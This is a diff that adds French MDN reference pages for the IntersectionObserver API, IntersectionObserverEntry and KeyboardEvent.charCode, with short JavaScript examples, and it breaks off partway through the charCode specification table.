+ <dd>un objet optionnel qui paramètre l'observateur. Si <code>options</code> n'est pas spécifié, l'observateur utilise la fenêtre du document comme racine, sans marge, et un seuil de 0% (signifiant que le moindre changement d'un pixel suffira à déclencher la fonction de rappel). Vous pouvez fournir dans l'objet options les propriétés suivantes :
+ <dl>
+  <dt><code>root</code></dt>
+  <dd>Un objet {{domxref("Element")}} qui est racine de la cible désignée, dont le rectangle attaché sera considéré comme la fenêtre. Toute portion de l'élément cible non visible dans la zone couverte par le <code>root</code> n'est pas considérée visible.</dd>
+  <dt><code>rootMargin</code></dt>
+  <dd>Une chaîne de caractères spécifiant un ensemble de décalages à ajouter au {{Glossary('bounding_box')}} de la racine au moment de calculer les intersections, en réduisant ou grossissant la racine à des fins de calcul. La syntaxe est approximativement la même que celle pour la propriété CSS {{cssxref("margin")}} ; voir {{SectionOnPage("/fr-FR/docs/Web/API/Intersection_Observer_API", "L'élément racine et sa marge externe")}} pour plus d'informations sur le fonctionnement des marges et la syntaxe. Sa valeur par défaut est "0px 0px 0px 0px".</dd>
+  <dt><code>threshold</code></dt>
+  <dd>Un nombre ou un tableau de nombres entre 0.0 et 1.0 (inclus), spécifiant des seuils  définis comme ratios de la hauteur visible d'un élément cible observé par rapport à sa hauteur totale. Une valeur de 0.0 signifie que tout pixel visible de l'élément le rend visible et 1.0 que l'entièreté de l'élément doit être visible. Voir {{SectionOnPage("/fr-FR/docs/Web/API/Intersection_Observer_API", "Thresholds")}} pour une description plus approfondie de l'usage des seuils d'intersection. Le seuil par défaut est 0.0.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel {{domxref("IntersectionObserver")}} pouvant être utilisé pour observer la visibilité d'un élément cible au sein de l'élément <code>root</code> spécifié franchissant un des seuils de visibilité spécifiés. Appeler sa méthode {{domxref("IntersectionObserver.observe", "observe()")}} pour commencer à observer les changements de visibilité d'un élément cible.</p>
+
+<h3 id="Erreurs">Erreurs</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Le <code>rootMargin</code> spécifié est invalide.</dd>
+ <dt>RangeError</dt>
+ <dd>Une ou plusieurs des valeurs du <code>threshold</code> est en dehors de l'intervalle allant de 0.0 à 1.0.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-intersectionobserver','IntersectionObserver constructor')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.IntersectionObserver")}}</p>
diff --git a/files/fr/web/api/intersectionobserver/observe/index.html b/files/fr/web/api/intersectionobserver/observe/index.html
new file mode 100644
index 0000000000..a9dd23b18b
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/observe/index.html
@@ -0,0 +1,75 @@
+---
+title: IntersectionObserver.observe()
+slug: Web/API/IntersectionObserver/observe
+tags:
+  - API
+  - Intersection Observer
+  - IntersectionObserver
+  - IntersectionObserver API
+  - Méthode
+  - Reference
+  - observe
+translation_of: Web/API/IntersectionObserver/observe
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p>La méthode <code><strong>observe()</strong></code> de l'interface {{domxref("IntersectionObserver")}} ajoute un élément à l'ensemble des éléments cibles étant observés par l'<code>IntersectionObserver</code>. Un observateur a un ensemble de seuils d'intersection et une racine, mais peut observer plusieurs éléments cibles en surveillant leurs changements de visibilité indépendamment. Pour cesser d'observer un élément, il faut appeler la méthode {{domxref("IntersectionObserver.unobserve()")}}.</p>
+
+<p>Lorsque la visibilité d'un élément cible franchit l'un des seuils d'intersection de l'observateur (tel que listé dans {{domxref("IntersectionObserver.thresholds")}}, la fonction de rappel de l'observateur est executée avec un {{domxref("IntersectionObserverEntry")}} représentant le changement d'intersection qui a été observé. À noter que cette conception permet à de multiples changements d'intersection d'éléments différents d'être traités par un unique appel à la fonction de rappel au moyen d'un tableau d'objets <code>IntersectionObserverEntry</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>IntersectionObserver</em>.observe(cible);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>Un {{domxref("element")}} dont la visibilité dans la racine est à suivre. Cet élément doit nécessairement être descendant de l'élément racine (ou contenu dans le document courant si la racine est la fenêtre du document).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">  // Créer l'observateur
+  let observateur = new IntersectionObserver(fonctionRappel, optionsObservateur);
+</pre>
+
+<p>Faire observer un élément par l'observateur :</p>
+
+<pre class="brush: js">observateur.observe(cible);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-observe','IntersectionObserver.observe()')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.observe")}}</p>
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IntersectionObserver.unobserve()")}}</li>
+</ul>
diff --git a/files/fr/web/api/intersectionobserver/root/index.html b/files/fr/web/api/intersectionobserver/root/index.html
new file mode 100644
index 0000000000..755208e8ae
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/root/index.html
@@ -0,0 +1,48 @@
+---
+title: IntersectionObserver.root
+slug: Web/API/IntersectionObserver/root
+tags:
+  - API
+  - Intersection Observer
+  - IntersectionObserver
+  - Property
+  - root
+translation_of: Web/API/IntersectionObserver/root
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p>La propriété en lecture seule <strong><code>root</code></strong> de l'interface {{domxref("IntersectionObserver")}} identifie l'{{domxref("Element")}} dont les bornes sont considérés comme le {{Glossary("bounding box")}} de la {{Glossary("viewport")}} pour l'élément qui est la cible de l'observateur. Si le <code>root</code> vaut <code>null</code>, alors les bornes de la fenêtre du document courant sont celles utilisées.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><code>var <em>root</em> = </code>IntersectionObserver</var>.root;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet {{domxref("Element")}} dont la bordure du modèle de boîte est utilisée pour définir les limites de sa zone de visibilité afin de déterminer quelle proportion de l'élément cible est visible. L'intersection de ce rectangle délimiteur, décalé par toute marge spécifiée au moyen des options passées au constructeur de l'{{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}}, les limites de la zone recouverte par l'élément cible, moins les limites de la zone recouverte par chaque élément ou autre objet chevauchant l'élément cible, est considéré comme la partie visible de l'élément.</p>
+
+<p>Si <code>root</code> vaut <code>null</code>, alors les bornes de la fenêtre du document courant (c'est-à-dire la zone visible, permettant donc de visionner le document) sont celles utilisées.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver', '#dom-intersectionobserver-root', 'IntersectionObserver')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.root")}}</p>
diff --git a/files/fr/web/api/intersectionobserver/rootmargin/index.html b/files/fr/web/api/intersectionobserver/rootmargin/index.html
new file mode 100644
index 0000000000..caacf6da30
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/rootmargin/index.html
@@ -0,0 +1,54 @@
+---
+title: IntersectionObserver.rootMargin
+slug: Web/API/IntersectionObserver/rootMargin
+tags:
+  - API
+  - Intersection Observer
+  - IntersectionObserver
+  - Propriété
+  - rootMargin
+translation_of: Web/API/IntersectionObserver/rootMargin
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>rootMargin</code></strong> en lecture seule de l'interface {{domxref("IntersectionObserver")}} est une chaîne de caractères avec une syntaxe similaire à celle de la propriété CSS {{cssxref("margin")}}. Chaque côté de la zone rectangulaire représentée par <code>rootMargin</code> est ajouté au côté correspondant du {{domxref("IntersectionObserver.root", "root")}} dans le {{Glossary("bounding box")}} de l'élément avant que le test d'intersection soit effectué. Cela permet, par exemple, d'ajuster les limites vers l'extérieur afin que l'élément cible soit considéré comme entièrement visible même si un certain nombre de pixels en largeur ou en hauteur sont rognés, ou encore pour traiter la cible comme partiellement masquée si une bordure est trop proche de celle du {{Glossary("bounding box")}} de l'élément racine.</p>
+
+<p>Voir {{SectionOnPage("/fr-FR/docs/Web/API/Intersection_Observer_API", "L'élément racine et sa marge externe")}} pour une explication plus approfondie à propos de la marge externe de l'élément racine et comment cela fonctionne avec le bounding box de ce même élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><code>var <em>marginString</em> = </code>IntersectionObserver</var>.rootMargin;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères, formatée d'une manière similaire à la valeur de la propriété CSS {{cssxref("margin")}}, contenant les décalages pour un ou plusieurs côtés du bounding box de l'élément racine. Ces décalages sont ajoutés aux valeurs correspondantes du bounding box de l'élément racine avant l'intersection entre la zone rectangulaire résultante la zone couverte par l'élément cible.</p>
+
+<p>La chaîne de caractères renvoyée par cette propriété peut ne pas correspondre à celle spécifiée lors de l'initialisation de l'{{domxref("IntersectionObserver")}}. Le navigateur a la possibilté de modifier la valeur.</p>
+
+<p>Si <code>rootMargin</code> n'est pas spécifiée à l'initialisation de l'objet, sa valeur par défaut vaudra <code>"0px 0px 0px 0px"</code>, signifiant que l'intersection sera calculée entre les limites non modifiées de l'élément racine et celles de l'élément cible. {{SectionOnPage("/fr-FR/docs/Web/API/Intersection_Observer_API", "L'élément racine et sa marge externe")}} décrit avec plus de détails comment <code>rootMargin</code> est utilisée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver', '#dom-intersectionobserver-rootMargin', 'IntersectionObserver.rootMargin')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.rootMargin")}}</p>
+</div>
diff --git a/files/fr/web/api/intersectionobserver/thresholds/index.html b/files/fr/web/api/intersectionobserver/thresholds/index.html
new file mode 100644
index 0000000000..1ec8f5c0a8
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/thresholds/index.html
@@ -0,0 +1,66 @@
+---
+title: IntersectionObserver.thresholds
+slug: Web/API/IntersectionObserver/thresholds
+tags:
+  - API
+  - Intersection Observer
+  - Intersection Observer API
+  - IntersectionObserver
+  - Propriété
+translation_of: Web/API/IntersectionObserver/thresholds
+---
+<div>{{APIRef("Intersection Observer API")}}{{draft}}{{SeeCompatTable}}</div>
+
+<p>La propriété en lecture seule <strong><code>thresholds</code></strong> de l'interface {{domxref("IntersectionObserver")}} retourne la liste des seuils d'intersection spécifiés lorsque l'observateur a été instancié avec {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}}. Si un unique ratio seuil a été donné comme valeur numérique à l'instanciation de l'objet, cette valeur sera un tableau contenant uniquement cette valeur.</p>
+
+<p>Voir {{SectionOnPage("/fr-FR/docs/Web/API/Intersection_Observer_API", "Thresholds")}} pour apprendre comment fonctionnent les seuils d'intersection.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><code><em>let thresholds</em> = </code>IntersectionObserver</var>.thresholds;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un tableau de seuils d'intersection, originellement spécifié au moyen de la propriété <code>threshold</code> à l'instanciation d'un observateur. Si un unique observateur a été spécifié, sans être donné dans un tableau (valeur numérique), cette valeur se traduite comme un tableau d'un élément la contenant. Quelque fut l'ordre de votre tableau original de <code>threshold</code>, il sera trié par ordre croissant.</p>
+
+<p>Si aucune option <code>threshold</code> n'est donnée lorsque <code>IntersectionObserver()</code> est utilisé pour instantier l'observateur, la valeur de <code>thresholds</code> est par défaut définie à <code>[0]</code>.</p>
+
+<div class="note">
+<p>Attention! Bien que l'objet d'<code>options</code> que vous pouvez spécifier lorsque vous créez un {{domxref("IntersectionObserver")}} a un champ nommé {{domxref("IntersectionObserver.threshold", "threshold")}}, cette propriété-ci s'appelle <code>thresholds</code>. Cela peut porter à confusion. Si vous utilisez <code>thresholds</code> par erreur comme nom du champ votre objet d'<code>options</code>, le tableau de <code>thresholds</code> va se retrouver égal à <code>[0.0]</code>, ce qui n'est probablement pas ce à quoi vous vous attendiez. Le déboguage n'en sera que plus chaotique.</p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="syntaxbox">// Instanciation d'un observateur, c'est l'objet d'options qui contient le tableau des seuils (propriété threshold)
+observateur = new IntersectionObserver(fonctionRappel, optionsObservateur)
+</pre>
+
+<p>Puis faire simplement :</p>
+
+<pre class="syntaxbox">observateur.thresholds</pre>
+
+<p>Pour afficher la liste des seuils fournie à l'initialisation.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver', '#dom-intersectionobserver-thresholds', 'IntersectionObserver.thresholds')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.thresholds")}}</p>
diff --git a/files/fr/web/api/intersectionobserver/unobserve/index.html b/files/fr/web/api/intersectionobserver/unobserve/index.html
new file mode 100644
index 0000000000..eb4b731432
--- /dev/null
+++ b/files/fr/web/api/intersectionobserver/unobserve/index.html
@@ -0,0 +1,74 @@
+---
+title: IntersectionObserver.unobserve()
+slug: Web/API/IntersectionObserver/unobserve
+tags:
+  - API
+  - Intersection Observer
+  - IntersectionObserver API
+  - IntersectioonObserver
+  - Méthode
+  - Reference
+translation_of: Web/API/IntersectionObserver/unobserve
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La méthode <code><strong>unobserve()</strong></code> de l'interface {{domxref("IntersectionObserver")}} indique à l'<code>IntersectionObserver</code> de cesser d'observer l'élément cible spécifié.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>IntersectionObserver</em>.unobserve(cible);</pre>
+
+<h3 id="Paramètress">Paramètress</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'{{domxref("Element")}} à cesser d'observer. Si l'élément spécifié n'est pas en cours d'observation, cette méthode ne fait rien et ne jette pas d'erreur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>undefined</code>.</p>
+
+<dl>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce bout de code montre simplement la création d'un observateur, l'ajout d'un élément sous observation puis sa fin d'observation.</p>
+
+<pre class="brush: js">let observer = new IntersectionObserver(fonctionRappel);
+observateur.observe(document.getElementById("élémentÀObserver"));
+
+/* ... */
+
+observateur.unobserve(document.getElementById("élémentÀObserver"));</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-unobserve','IntersectionObserver.unobserve()')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.unobserve")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a></li>
+ <li>{{domxref("IntersectionObserver.observe()")}}</li>
+</ul>
diff --git a/files/fr/web/api/intersectionobserverentry/index.html b/files/fr/web/api/intersectionobserverentry/index.html
new file mode 100644
index 0000000000..6b4554fc81
--- /dev/null
+++ b/files/fr/web/api/intersectionobserverentry/index.html
@@ -0,0 +1,60 @@
+---
+title: IntersectionObserverEntry
+slug: Web/API/IntersectionObserverEntry
+tags:
+  - API
+  - Interface
+  - Intersection Observer
+  - IntersectionObserver
+  - IntersectionObserverEntry
+translation_of: Web/API/IntersectionObserverEntry
+---
+<div>{{SeeCompatTable}}{{APIRef("Intersection Observer API")}}</div>
+
+<p><span class="seoSummary">L'interface <code><strong>IntersectionObserverEntry</strong></code> de l'<a href="/en-US/docs/Web/API/Intersection_Observer_API">API Intersection Observer</a> décrit l'intersection entre l'élément cible et son conteneur (appelé racine) à un moment spécifique de transition.</span> Les instances de <code>IntersectionObserverEntry</code> sont délivrées à une fonction de rappel de l'{{domxref("IntersectionObserver")}} en tant que paramètres <code>entries</code> ; autrement, ces objets ne peuvent être obtenus qu'en appelant {{domxref("IntersectionObserver.takeRecords()")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserverEntry.boundingClientRect")}} {{readonlyinline}}</dt>
+ <dd>Retourne les limites de la zone couverte par l'élément cible comme {{domxref("DOMRectReadOnly")}}. Ces limites sont calculées comme décrit dans la documentation pour {{domxref("Element.getBoundingClientRect()")}}.</dd>
+ <dt>{{domxref("IntersectionObserverEntry.intersectionRatio")}} {{readonlyinline}}</dt>
+ <dd>Retourne le ratio de l'<code>intersectionRect</code> au <code>boundingClientRect</code>.</dd>
+ <dt>{{domxref("IntersectionObserverEntry.intersectionRect")}} {{readonlyinline}}</dt>
+ <dd>Retourne un {{domxref("DOMRectReadOnly")}} représentant la partie visible de l'élément cible.</dd>
+ <dt>{{domxref("IntersectionObserverEntry.isIntersecting")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne une valeur booléenne valant <code>true</code> si l'élément cible s'entrecoupe avec la zone d'intersection de l'élément racine. S'il vaut <code>true</code>, alors <code>IntersectionObserverEntry</code> décrit une transition vers un état d'intersection ;  S'il vaut <code>false</code>, alors la transition se fait d'un état d'intersection à un état de non-intersection.</dd>
+ <dt>{{domxref("IntersectionObserverEntry.rootBounds")}} {{readonlyinline}}</dt>
+ <dd>Retourne un {{domxref("DOMRectReadOnly")}} pour la zone d'intersection de l'élément racine.</dd>
+ <dt>{{domxref("IntersectionObserverEntry.target")}} {{ReadOnlyInline}}</dt>
+ <dd>L'{{domxref("Element")}} dont l'intersection avec la racine a changé d'état.</dd>
+ <dt>{{domxref("IntersectionObserverEntry.time")}} {{readonlyinline}}</dt>
+ <dd>Un {{domxref("DOMHighResTimeStamp")}} indiquant l'instant auquel l'intersection a été enregistrée, relative au <a href="/en-US/docs/Web/API/DOMHighResTimeStamp#The_time_origin">temps originel</a> de l'<code>IntersectionObserver</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface n'a pas de méthode.</em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver','#intersection-observer-entry','IntersectionObserverEntry')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserverEntry")}}</p>
diff --git a/files/fr/web/api/intersectionobserverentry/target/index.html b/files/fr/web/api/intersectionobserverentry/target/index.html
new file mode 100644
index 0000000000..ebea1ca87b
--- /dev/null
+++ b/files/fr/web/api/intersectionobserverentry/target/index.html
@@ -0,0 +1,60 @@
+---
+title: IntersectionObserverEntry.target
+slug: Web/API/IntersectionObserverEntry/target
+tags:
+  - API
+  - Intersection Observer
+  - IntersectionObserver
+  - Propriété
+  - target
+translation_of: Web/API/IntersectionObserverEntry/target
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">La propriété en lecture seule <strong><code>target</code></strong> de l'interface {{domxref("IntersectionObserverEntry")}} indique quel {{domxref("Element")}} ciblé a changé sa proportion d'intersection avec l'élément racine.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><code>var <em>target</em> = </code>IntersectionObserverEntry</var>.target;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>La propriété <code>target</code> de l'<code>IntersectionObserverEntry</code> spécifie quel {{domxref("Element")}} précédemment ciblé par l'appel à {{domxref("IntersectionObserver.observe()")}} dont l'intersection avec la racine a changé.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, la valeur de la propriété CSS {{cssxref("opacity")}} de chaque élément cible vaut son {{domxref("IntersectionObserverEntry.intersectionRatio", "intersectionRatio")}}.</p>
+
+<pre class="brush: js">function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    entry.target.opacity = entry.intersectionRatio;
+  });
+}</pre>
+
+<p>Ainsi, l'élément devient visible seulement lorsqu'il est entièrement visible, c'est-à-dire que la zone qu'il couvre est contenue dans celle de la racine. Autrement, son opacité diminue graduellement avec sa proportion d'intersection avec son élément racine.</p>
+
+<p>Pour voir un exemple plus concret, vous pouvez vous renseigner sur l'{{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility", "Handling intersection changes")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IntersectionObserver', '#dom-intersectionobserverentry-target', 'IntersectionObserverEntry.target')}}</td>
+   <td>{{Spec2('IntersectionObserver')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserverEntry.target")}}</p>
diff --git a/files/fr/web/api/keyboardevent/charcode/index.html b/files/fr/web/api/keyboardevent/charcode/index.html
new file mode 100644
index 0000000000..34335deca5
--- /dev/null
+++ b/files/fr/web/api/keyboardevent/charcode/index.html
@@ -0,0 +1,102 @@
+---
+title: KeyboardEvent.charCode
+slug: Web/API/KeyboardEvent/charCode
+tags:
+  - API
+  - Clavier
+  - DOM
+  - Déprécié
+  - Propriété
+  - Référence(2)
+  - évènements
+translation_of: Web/API/KeyboardEvent/charCode
+---
+<p>{{ ApiRef("DOM Events") }}{{non-standard_header}}{{deprecated_header}}</p>
+
+<p>La propriété en lecture seule {{domxref("KeyboardEvent.charCode")}} retourne la valeur Unicode d'une touche caractère pressée pendant un évènement {{ domxref("element.onkeypress", "keypress") }}.</p>
+
+<p>Pour des constantes équivalant ces codes numériques, voir {{ domxref("KeyboardEvent", "KeyEvent") }}.</p>
+
+<div class="note">
+<p><strong><code>N'utilisez plus cette propriété, elle est dépréciée.</code></strong></p>
+
+<p>Utilisez plutôt {{domxref("KeyboardEvent.key")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>var value</em> = <em>event</em>.charCode;
+</pre>
+
+<ul>
+ <li><em><code>value</code></em> est la valeur Unicode du caractère associé à la touche pressée.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Exemple charCode&lt;/title&gt;
+
+    &lt;script type="text/javascript"&gt;
+
+      function AfficherCaractere(e)
+      {
+        alert(
+                "Touche tapée : " +
+                String.fromCharCode(e.charCode) + "\n" +
+                "charCode: " + e.charCode
+        );
+      }
+
+    &lt;/script&gt;
+  &lt;/head&gt;
+
+  &lt;body onkeypress="AfficherCaractere(event);"&gt;
+    &lt;p&gt;Tapez une touche caractère de votre clavier (a,b,c...)&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Après un évènement {{ domxref("element.onkeypress", "keypress") }}, la valeur Unicode de la touche pressée est stockée dans l'une ou l'autre des propriétés <code>{{ domxref("event.keyCode", "keyCode") }}</code> et <code>charCode</code>, jamais les deux à la fois. Si la touche pressée génère un caractère (ex. 'a'), <code>charCode</code> prend la valeur du code de ce caractère, en respectant la casse. (i.e. <code>charCode</code> tient compte d'une touche Maj. enfoncée). Sinon, le code est stocké dans <code>keyCode</code>.</p>
+
+<p>Quand une ou plusieurs touche modificatrices sont pressées, il y a quelques règles complexes pour <code>charCode</code>, jetez un oeil à <a href="/en/Gecko_Keypress_Event" title="en/Gecko Keypress Event">Gecko Keypress Event</a> (en anglais) pour le détail.</p>
+
+<p><code>charCode</code> n'est jamais défini lors d'évènements {{ domxref("element.onkeydown", "keydown") }} et {{ domxref("element.onkeyup", "keyup") }}. Dans ces cas, <code>keyCode</code> is set instead.</p>
+
+<p>Pour obtenir le code de la touche qu'il soit stocké dans <code>keyCode</code> ou <code>charCode</code>, requêtez la propriété {{ domxref("event.which", "which") }}.</p>
+
+<p>Les caractères entrés via IME ne s'enregistrent pas sous <code>keyCode</code> ou <code>charCode</code>. <span class="comment">Actually with the Chinese IME I'm using, entering the IME results in a keypress event with keyCode = 229 and no other key events fire until the IME exits (which may happen after multiple characters are inputted). I'm not sure if other IME's work this way.</span></p>
+
+<p>Pour une liste de valeurs de <code>charCode</code> associées à leurs touches, lancez l'exemple dans <a href="/en/Gecko_DOM_Reference/Examples#Example_7:_Displaying_Event_Object_Constants" title="en/Gecko_DOM_Reference/Examples#Example_7:_Displaying_Event_Object_Constants">Gecko DOM Reference:Examples #Example 7: Displaying Event Object Constants</a> (en anglais) et regardez le tableau HTML résultant.</p>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification (en anglais)</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-KeyboardEvent-charCode','KeyboardEvent.charCode')}}</td>
